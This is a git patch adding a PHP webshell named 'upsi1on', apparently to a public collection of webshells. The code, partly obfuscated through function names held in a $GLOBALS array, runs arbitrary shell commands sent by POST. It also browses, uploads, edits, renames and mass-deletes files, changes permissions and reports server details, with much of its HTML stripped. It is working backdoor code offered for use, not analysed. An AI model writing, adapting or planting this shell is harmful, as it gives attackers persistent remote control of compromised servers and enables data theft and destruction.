From 62a59181cf25c7102276abc7105bad8ba67cd7f0 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Sun, 2 Oct 2022 08:43:40 +0800 Subject: [PATCH] Create upsi1on.php from: https://github.com/upsi1on/webshell/blob/main/upsi1on/upsi1on.php --- php/upsi1on.php | 1212 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1212 insertions(+) create mode 100644 php/upsi1on.php diff --git a/php/upsi1on.php b/php/upsi1on.php new file mode 100644 index 0000000..89d2c02 --- /dev/null +++ b/php/upsi1on.php @@ -0,0 +1,1212 @@ + + + + + + + + upsi1on + + + + + +
+

webshell by upsi1on

+
+ + +
+
+ + + + + +
+
+
+
+ shell > + +
+
+ +
+ &2=open">[ back ] +
+
+ + + + + + + + + + + +
+ + +
+ &2=open">[ back ] +
+
+ + + + + + + + + +
+ +
+ +
+ + [ logout ] + + &2=shell">[ shell ] + &2=phpinfo">[ phpinfo ] + +
+ +
+ + + + +
+ + + + + + + + + + + +" . $GLOBALS[5] ($x[$z]) . " "; + $z++; + + } + + return $path; + +} + +function fs ($size) { + + if ($size > 1073741824) return $GLOBALS[37] ("%1.2f", $size / 1073741824 )." GiB"; + elseif ($size > 1048576) return $GLOBALS[37] ("%1.2f", $size / 1048576 ) ." MiB"; + elseif ($size > 1024) return $GLOBALS[37] ("%1.2f", $size / 1024 ) ." KiB"; + else return $size ." B"; + +} + +function expandPath($path) { + + if ($GLOBALS[36]("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) { + + $GLOBALS[34] ("echo $match[1]", $stdout); + + return $stdout[0] . $match[2]; + + } + + return $path; + +} + +function runShell () { + + $stdout = []; + + if ($GLOBALS[36] ("/^\s*cd\s*(2>&1)?$/", $_POST["post"])) $GLOBALS[35](expandPath ("~")); + + elseif ($GLOBALS[36]("/^\s*cd\s+(.+)\s*(2>&1)?$/", $_POST["post"])) { + + $GLOBALS[35] ($_GET["0"]); + $GLOBALS[36] ("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $_POST["post"], $match); + $GLOBALS[35] (expandPath ($match[1])); + + } + + else { + + $GLOBALS[35] ($_GET["0"]); + $GLOBALS[34] ($_POST["post"], $stdout); + + } + + $buff = ""; + foreach ($stdout as $result) $buff .= $GLOBALS[5] ($result) . "
"; + die ($GLOBALS[33] () . "|" . $GLOBALS[20] (" ", " ", $buff)); + +} + +function perms ($path) { + + $filePerms = $GLOBALS[6] ($path); + + if (($filePerms & 0xC000) == 0xC000) $info = "s"; + elseif (($filePerms & 0xA000) == 0xA000) $info = "l"; + elseif (($filePerms & 0x8000) == 0x8000) $info = "-"; + elseif (($filePerms & 0x6000) == 0x6000) $info = "b"; + elseif (($filePerms & 0x4000) == 0x4000) $info = "d"; + elseif (($filePerms & 0x2000) == 0x2000) $info = "c"; + elseif (($filePerms & 0x1000) == 0x1000) $info = "p"; + else $info = "u"; + + $info .= (($filePerms & 0x0100) ? "r" : "-"); + $info .= (($filePerms & 0x0080) ? "w" : "-"); + $info .= (($filePerms & 0x0040) ? (($filePerms & 0x0800) ? "s" : "x" ) : (($filePerms & 0x0800) ? "S" : "-")); + + $info .= (($filePerms & 0x0020) ? "r" : "-"); + $info .= (($filePerms & 0x0010) ? "w" : "-"); + $info .= (($filePerms & 0x0008) ? (($filePerms & 0x0400) ? "s" : "x" ) : (($filePerms & 0x0400) ? "S" : "-")); + + $info .= (($filePerms & 0x0004) ? "r" : "-"); + $info .= (($filePerms & 0x0002) ? "w" : "-"); + $info .= (($filePerms & 0x0001) ? (($filePerms & 0x0200) ? "t" : "x" ) : (($filePerms & 0x0200) ? "T" : "-")); + + return $info; + +} + +function infoTbl () { + + global $serv_ip; + +?> + + + + + ( your ip : | serv ip : ) + +
+
+ + + + sys  :  + + + + soft :  + + + + php  :  + + + + disk :  + / ( free) + + +
+ + + + + + + [ name ] + [ size ] + [ permission ] + [ modified ] + [ action ] + + +
+ "; + + foreach ($dir as $a) { + + $flpth = $GLOBALS[20] ("\\", "/", $GLOBALS[27] ($_GET["0"] . "/" . $a)); + $dact = ""; + $size = "-"; + $perms = "" . perms ($flpth) . ""; + $lm = $GLOBALS[25] ("Y-m-d H:i", $GLOBALS[26] ($flpth)); + $a = $GLOBALS[5] ($a); + $type = "[?]"; + + if ($GLOBALS[16] ($flpth)) { + + $type = "[d]"; + + if ($GLOBALS[22] ($flpth)) { + + $a = "$a"; + $type = "[d]"; + + } + + $dact .= "+file +dir up rename del"; + + } + + elseif ($GLOBALS[17] ($flpth)) { + + $type = "[f]"; + $size = fs ($GLOBALS[2] ($flpth)); + + if ($GLOBALS[22] ($flpth)) $dact .= "download "; + + $dact .= "rename del "; + + if ($GLOBALS[22] ($flpth)) { + + $type = "[f]"; + $a = "$a"; + + } + } + + if ($dact == "") $dact = "-"; + + $str .= " + + + $type  + $a + $size + $perms + $lm + $dact + "; + + } + + echo $str; + +} + +function rnmflodir () { + + if (!isset ($_GET["02"])) ; + if ($_GET["02"] == "") echo "New name cannot be empty"; + elseif ($GLOBALS[19] ($_GET["0"], $GLOBALS[20] ("\\", "/", $GLOBALS[21]($_GET["0"])) . "/" . $_GET["02"])) echo "Successfully"; + else echo "Failed"; + + exit (); + +} + +function deleteProcess ($dirPath) { + + if ($GLOBALS[17] ($dirPath)) return $GLOBALS[18] ($dirPath); + + elseif ($GLOBALS[16] ($dirPath)) { + + $dirPath = ($GLOBALS[15] ($dirPath, -1) != DIRECTORY_SEPARATOR) ? $dirPath . DIRECTORY_SEPARATOR : $dirPath; + $files = $GLOBALS[14] ($dirPath . '*'); + + foreach ($files as $file) deleteProcess ($file); + + return $GLOBALS[13] ($dirPath); + + } +} + +function massDelete ($dirPath) { + + $dataDeleted = deleteProcess ($dirPath); + + if ($GLOBALS[10] ($_GET["0"]) && $dataDeleted) die ("Successfully deleted some files"); + elseif (!$GLOBALS[10] ($_GET["0"]) && $dataDeleted) die ("Successfully"); + die ("Failed"); + +} + +function uploadToDir () { + + if ( + + $GLOBALS[12] ( + + $_FILES["post"]["tmp_name"], + $_GET["0"] . "/" . $_FILES["post"]["name"] + + ) + + ) die ("Successfully"); + + die ("Failed"); + +} + +function createDirectory () { + + $pathofDir = $_GET["0"] . "/" . $_GET["02"]; + + if (!$GLOBALS[10] ($pathofDir)) die (($GLOBALS[11] ($pathofDir)) ? "Successfully" : "Failed"); + else die ("File / folder already exists"); + +} + +function createMFl () { + + $pathofFile = $_GET["0"] . "/" . $_GET["02"]; + + if (!$GLOBALS[10] ($pathofFile)) { + + $create = $GLOBALS[4] ($pathofFile, "w"); + + echo ($create) ? "Successfully" : "Failed"; + $GLOBALS[1] ($create); + + } + else echo "File / folder already exists"; + + exit (); + +} + +function exchmd () { + + $flPerm = 0; + $perm1 = perms ($_GET["0"]); + + if ($GLOBALS[9] ($_GET["02"], "1")) $flPerm |= 0400; + if ($GLOBALS[9] ($_GET["02"], "2")) $flPerm |= 0040; + if ($GLOBALS[9] ($_GET["02"], "3")) $flPerm |= 0004; + + if ($GLOBALS[9] ($_GET["02"], "4")) $flPerm |= 0200; + if ($GLOBALS[9] ($_GET["02"], "5")) $flPerm |= 0020; + if ($GLOBALS[9] ($_GET["02"], "6")) $flPerm |= 0002; + + if ($GLOBALS[9] ($_GET["02"], "7")) $flPerm |= 0100; + if ($GLOBALS[9] ($_GET["02"], "8")) $flPerm |= 0010; + if ($GLOBALS[9] ($_GET["02"], "9")) $flPerm |= 0001; + + $GLOBALS[8] ($_GET["0"], $flPerm); + $GLOBALS[7] (); + + if ($perm1 != perms ($_GET["0"])) die ("Successfully"); + + die ("Failed"); + +} + +function changeAccess () { + + $path = $_GET["0"] . "/" . $_GET["02"]; + + $chv = $GLOBALS[6] ($path); + + $a = ($chv & 00400) ? "checked" : ""; + $b = ($chv & 00040) ? "checked" : ""; + $c = ($chv & 00004) ? "checked" : ""; + $d = ($chv & 00200) ? "checked" : ""; + $e = ($chv & 00020) ? "checked" : ""; + $f = ($chv & 00002) ? "checked" : ""; + $g = ($chv & 00100) ? "checked" : ""; + $h = ($chv & 00010) ? "checked" : ""; + $i = ($chv & 00001) ? "checked" : ""; + +?> + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
[ Permission ][ Owner ][ Group ][ Other ]

Read>>>
Write>>>
Execute>>>
+
+ &2=open">[ cancel ] + [ submit ] +
+
+ + + + + + + + + + + + + + + +
+ + +
+ &2=open">[ back ] + [ save ] +
+
+ + + + + + +